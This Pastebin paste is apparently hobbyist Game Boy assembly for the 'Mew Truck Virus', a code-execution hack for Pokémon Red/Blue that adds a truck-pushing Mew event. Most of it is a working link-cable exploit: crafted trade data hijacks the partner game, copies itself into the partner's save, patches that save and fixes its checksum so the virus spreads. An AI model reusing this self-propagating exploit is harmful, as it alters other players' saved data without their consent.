MrCheeze

Mew Truck Virus source code

Feb 26th, 2017
1,886
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. SECTION "Main",ROM0 ; D66C
  2.  
  3. ; Patch the current room script every time we load another room
  4. ld hl,$D36F
  5. ld de,$D66B
  6. ld a,[hld]
  7. cp $80
  8. jr nc,alreadyPatchedScript
  9. ld [de],a
  10. dec de
  11. ld a,[hl]
  12. ld [de],a
  13. alreadyPatchedScript:
  14.  
  15. ld [hl],$83
  16. inc hl
  17. ld [hl],$D6
  18.  
  19. ld a, $C3 ; important for DMARoutine
  20. ret
  21.  
  22. SECTION "Main",ROM0[$0017] ; D683
  23.  
  24. ; Patch hram code to always call the code at D66C
  25. ld hl,$ff80
  26. ld [hl],$18 ; jr 78 (to FFFA)
  27. inc hl
  28. ld [hl],$78
  29. ld hl,$FFFA
  30. ld [hl],$CD ; call $D66C
  31. inc hl
  32. ld [hl],$6C
  33. inc hl
  34. ld [hl],$D6
  35. inc hl
  36. ld [hl],$18 ; jr 83 (to FF82)
  37. inc hl
  38. ld [hl],$83
  39.  
  40. ld a,[$d35e] ; current map
  41. cp $5E
  42. jr z,vermilionDocks
  43. cp $EF
  44. jr z,tradeCenter
  45.  
  46. returnFromRoomSpecificScript:
  47.  
  48. ; return to to normal script for the room.
  49. ld hl,$D66A
  50. ld a,[hli]
  51. ld h,[hl]
  52. ld l,a
  53. jp [hl]
  54. ;;;end
  55.  
  56.  
  57. vermilionDocks:
  58. ld hl,$A000
  59. jr loadExtraCodeFromSram
  60.  
  61. tradeCenter:
  62. ld hl,$A200
  63.  
  64. loadExtraCodeFromSram:
  65. ld a,$0A
  66. ld [$0000],a ;enable sram
  67. ld a,$01
  68. ld [$4000],a ;choose sram bank
  69.  
  70. ld de,$C800
  71. ld bc,$0200
  72. call $00B5 ; CopyData
  73. ld h,$00
  74. ld [hl],h ; disable sram
  75. call $C800
  76. jr returnFromRoomSpecificScript
  77.  
  78. SECTION "Main",ROM0[$0200] ; sram 2000
  79.  
  80. ld b,%11
  81. waitForNonHBlank:
  82. ldh a, ($41)
  83. and b
  84. jr z, waitForNonHBlank
  85. waitForHBlank:
  86. ldh a, ($41)
  87. and b
  88. jr nz, waitForHBlank
  89.  
  90. ld a,[$8142]
  91. cp $3B
  92. jr z,dontFixMewGraphics
  93. ; fix mew graphics
  94. ld de,$C940
  95. ld hl,$80C0
  96. ld c,4
  97. call $1848 ; CopyVideoData
  98. ld de,$C940
  99. ld hl,$8140
  100. ld c,4
  101. call $1848 ; CopyVideoData
  102. dontFixMewGraphics:
  103.  
  104. ld hl,$C1FF
  105. ld a,[hl]
  106. cp $02
  107. ret z ; have fought mew AND done the mew cleanup
  108. and a
  109. jr z,haventFoughtMewYet
  110.  
  111. inc [hl]
  112.  
  113. xor a
  114. ld [$d4e1],a ; wNumSprites
  115. ld [$C110],a
  116.  
  117. haventFoughtMewYet:
  118.  
  119. ld hl,$d36c ; text ptr
  120. ld [hl],$20
  121. inc hl
  122. ld [hl],$C9
  123.  
  124. ld a,[$c1fe]
  125. and a
  126. jr z,dontNeedToMoveTruckAfterReload
  127.  
  128. ld hl,$c731
  129. ld a,[hl]
  130. cp $0C
  131. jr z,dontNeedToMoveTruckAfterReload
  132.  
  133. ld a,$0C
  134. ld [hl],a ; remove truck
  135.  
  136. ld a,3
  137. ld [$d09f],a ; wNewTileBlockID
  138. ld bc, $000B ; coords to right of truck
  139. ld a,$17 ; ReplaceTileBlock
  140. call $3E6D ; Predef
  141. ret
  142.  
  143. dontNeedToMoveTruckAfterReload:
  144.  
  145. ld a,[$D362] ; X pos
  146. cp $13
  147. ret nz
  148. ld a,[$D728] ;strength
  149. and $01
  150. ret z
  151. ld a,[$CFC6] ; tile in front of player = left side of truck
  152. cp $58
  153. ret nz
  154. ld a,[$D528] ; pushing right
  155. cp $01
  156. ret nz
  157.  
  158. ld hl,$c1fe
  159. inc [hl] ; flag truck as pushed
  160.  
  161. ld a,$02 ; dust
  162. ld [$cd60],a
  163.  
  164. ld a, $A8; SFX_PUSH_BOULDER
  165. call $23B1 ; PlaySound
  166.  
  167. ld de,$C980 ; copy truck graphics into sprite reachable area
  168. ld hl,$8900
  169. ld c,8
  170. call $1848 ; CopyVideoData
  171.  
  172. ld a,$0C
  173. ld [$d09f],a ; wNewTileBlockID
  174. ld bc, $000A ; coords to truck
  175. ld a,$17 ; ReplaceTileBlock
  176. call $3E6D ; Predef
  177.  
  178. ld e,$58
  179. truckDelayLoop:
  180. ld hl,$c360
  181. ld b,$50
  182. ld d,$90
  183. ld c,e
  184. truckLoop:
  185. ld [hl],b
  186. inc hl
  187. ld [hl],c
  188. ld a,c
  189. add a,$08
  190. ld c,a
  191. inc hl
  192. ld [hl],d
  193. inc d
  194. inc hl
  195. ld [hl],$10
  196. inc hl
  197. ld a,d
  198. cp $94
  199. jr nz,notSecondRow
  200. ld b,$58
  201. ld c,e
  202. notSecondRow:
  203. cp $98
  204. jr nz,truckLoop
  205. inc e
  206. call $20AF ; DelayFrame
  207. ld a,e
  208. cp $79
  209. jr nz,truckDelayLoop
  210.  
  211. ld a,1
  212. ld [$d4e1],a; wNumSprites
  213. ld [$c110],a
  214. ld hl,$C214
  215. ld [hl],$04
  216. inc hl
  217. ld [hl],$19
  218. inc hl
  219. ld [hl],$FF
  220. ld hl,$c21e
  221. ld [hl],$02
  222.  
  223. ld hl, $C056 ;mess with music
  224. ld a,$FF
  225. ld [hli],a
  226. ld [hl],a
  227. ld l,$e9
  228. ld [hl],$70
  229.  
  230. ld a,3
  231. ld [$d09f],a ; wNewTileBlockID
  232. ld bc, $000B ; coords to right of truck
  233. ld a,$17 ; ReplaceTileBlock
  234. call $3E6D ; Predef
  235.  
  236. ret
  237.  
  238. SECTION "Main",ROM0[$0320] ; 2120
  239.  
  240. DB $22,$C9 ; pointer to this text
  241. DB $00,$8C,$A4,$B6,$E7,$50,$08 ; Mew!, terminator, asm
  242. ld a, $15 ; Mew
  243. ld [$d059], a ; wCurOpponent
  244. call $13D0 ; PlayCry
  245. call $3748 ; WaitForSoundToFinish
  246. ld a, 50
  247. ld [$d127], a ; wCurEnemyLVL
  248. ld hl,$c1ff
  249. inc [hl]
  250. jp $24D7; TextScriptEnd
  251.  
  252.  
  253. SECTION "Main",ROM0[$0400] ; sram 2200
  254.  
  255. ld hl,$d730
  256. res 2,[hl] ; enable use of A button
  257.  
  258. ld hl,$D361
  259. ld a,[hli] ; X pos
  260. cp $04
  261. ret nz
  262. ld a,[hl]
  263. cp $03
  264. jr z,dontRet
  265. cp $06
  266. ret nz
  267. dontRet:
  268.  
  269. ld hl,$d730
  270. set 2,[hl] ; disable use of A button (for interacting with game boy)
  271.  
  272. ldh a,($AA) ; check direction
  273. xor $03 ; switch 1 and 2
  274. ld hl,$d52a
  275. cp [hl]
  276. ret nz
  277.  
  278. ldh a,($B3) ; check a pressed
  279. dec a
  280. ret nz
  281.  
  282. ld a,$08
  283. ldh ($B8),a
  284. ld a,$22 ; just a moment
  285. call $3EF5 ; PrintPredefTextID
  286.  
  287. ld a,$02
  288. ld [$d12b],a ; link state = trade
  289.  
  290. dec a ; $01
  291. ldh ($BA),a ; enable continuous WRAM to VRAM transfer each V-blank
  292. call $3DD7 ; Delay3
  293. xor a
  294. ldh ($B0),a ; put the window on the screen
  295.  
  296. ld a,$01
  297. ld h,$20
  298. ld [hl],a
  299. ldh ($B8),a ; change bank
  300.  
  301. ld hl,$D141
  302. ld bc,$17FD
  303. setUpFD:
  304. ld [hl],c
  305. inc hl
  306. dec b
  307. jr nz,setUpFD
  308.  
  309. ld hl,$d164
  310. ld bc,$0161
  311. findFirstFF:
  312. ld a,[hli]
  313. dec bc
  314. inc a
  315. jr nz,findFirstFF
  316. dec hl
  317. fillWithE3:
  318. ld a,$E3
  319. ld [hli],a
  320. dec bc
  321. ld a,b
  322. or c
  323. jr nz,fillWithE3
  324. ld [hl],$FC ; glitch pokemon name for blue that points to rng bytes
  325.  
  326. ld a,$3B
  327. fillWithCE:
  328. inc hl
  329. ld [hl],$CE ; send red to CBD7
  330. dec a
  331. jr nz,fillWithCE
  332.  
  333. ld hl,$CBD7
  334. ld [hl],$C3 ; jp $C8E0
  335. inc hl
  336. ld [hl],$E0
  337. inc hl
  338. ld [hl],$C8
  339.  
  340. ld hl,$C508
  341. ld a,$FD
  342. ld [hli],a
  343. ld [hli],a
  344. ld [hli],a
  345. ld a,$FF
  346. ld [hli],a
  347. ld [hli],a
  348. xor a
  349. ld [hli],a
  350. ld [hli],a
  351. ld [hli],a
  352. ld [hli],a
  353.  
  354. ld d,h
  355. ld e,l
  356. ld hl,$C920
  357. ld bc,$0080
  358. call $00B5 ; CopyData
  359.  
  360. ld hl,$D148
  361. ld [hl],$C3 ; jp $C5D8
  362. inc hl
  363. ld [hl],$D8
  364. inc hl
  365. ld [hl],$C5
  366. inc hl
  367. ;next bytes - landing anywhere in this sequence will jump you back to the jp $C5DF
  368. ld [hl],$18 ; jr -5
  369. inc hl
  370. ld [hl],$FB
  371. inc hl
  372. ld [hl],$00 ; nop
  373. inc hl
  374. ld [hl],$18 ; jr -5
  375. inc hl
  376. ld [hl],$FB
  377. inc hl
  378. ld [hl],$18 ; jr -10
  379. inc hl
  380. ld [hl],$F6
  381.  
  382. call $190F ; ClearScreen
  383. call $2429 ; UpdateSprites
  384. call $3680 ; LoadFontTilePatterns
  385. call $5AE6 ; LoadTrainerInfoTextBoxTiles
  386. ld hl,$C443
  387. ld bc,$020C
  388. call $5AB3 ; CableClub_TextBoxBorder
  389. ld hl,$C46C
  390. ld de,$550F
  391. call $1955 ; PlaceString
  392.  
  393. pop bc
  394. jp $53B5 ; CableClub_DoBattleOrTrade - from "call Serial_SyncAndExchangeNybble"
  395.  
  396. SECTION "Main",ROM0[$04E0] ; sram 22E0
  397. ;code for red
  398.  
  399. ld sp,$DFF9 ; fix broken stack
  400.  
  401. ld h,$0A
  402. ld [hl],h ;enable sram
  403.  
  404. ld a,$A0
  405.  
  406. loopVirus:
  407. push af
  408. ld h,a
  409. ld l,$00
  410. ld de,$c700
  411. ld bc,$0100
  412. call $00B5 ; CopyData
  413.  
  414. call $227F ; Serial_SyncAndExchangeNybble
  415. call $3DD7 ; Delay3
  416.  
  417. ld hl,$c6FF
  418. ld [hl],$FD
  419. ld de,$c6e8
  420. ld bc,$0110
  421. ld a,$08
  422. ldh ($FF),a
  423. call $216F ; Serial_ExchangeBytes (216F)
  424. ld a,$0D
  425. ldh ($FF),a
  426. pop af
  427. inc a
  428. cp $A4
  429. jr nz,loopVirus
  430.  
  431. ld a,$51 ; LoadSAV2 - reload our corrupted party data. also disables sram
  432. call $3E6D ; Predef
  433.  
  434. jp $5345 ; CableClub_DoBattleOrTradeAgain
  435.  
  436. SECTION "Main",ROM0[$0520] ; sram 2320
  437. ;code for blue
  438.  
  439. ld sp,$DFE7 ; fix broken stack
  440.  
  441. ld h,$0A
  442. ld [hl],h ;enable sram
  443. ld h,$40
  444. ld [hl],$01 ;choose sram bank
  445.  
  446. ld a,$A0
  447.  
  448. loopVictim:
  449. push af
  450.  
  451. call $227F ; Serial_SyncAndExchangeNybble
  452. call $3DD7 ; Delay3
  453.  
  454. ld hl,$0316
  455. ld de,$C800
  456. push de
  457. ld bc,$0110
  458. ld a,$08
  459. ldh ($FF),a
  460. call $216F ; Serial_ExchangeBytes (216F)
  461. ld a,$0D
  462. ldh ($FF),a
  463.  
  464.  
  465. pop hl
  466. checkForFD:
  467. ld a,[hli]
  468. cp $FD
  469. jr z,checkForFD
  470. dec hl
  471.  
  472. pop af
  473. push af
  474. ld d,a
  475. ld e,$00
  476. ld bc,$0100
  477. call $00B5 ; CopyData
  478. pop af
  479. inc a
  480. cp $A4
  481. jr nz,loopVictim
  482.  
  483. ld hl,$A61A
  484. ld de,$A916
  485. ld a,[hl]
  486. ld [hl],$83
  487. ld [de],a
  488. inc hl
  489. inc de
  490. ld a,[hl]
  491. ld [hl],$D6
  492. ld [de],a
  493. inc de
  494.  
  495. ld hl,$A39B
  496. ld bc,$0065
  497. call $00B5 ; CopyData
  498.  
  499. ld a,$1C
  500. ld [$2000],a
  501. ldh ($B8),a
  502. ld hl, $A598
  503. ld bc, $0F8B
  504. call $7856 ; SAVCheckSum
  505. ld [$b523], a
  506.  
  507. ld h,$00
  508. ld [hl],h ;disable sram
  509.  
  510. ld a,$01
  511. ld [$2000],a
  512. ldh ($B8),a
  513. jp $5345 ; CableClub_DoBattleOrTradeAgain
RAW Paste Data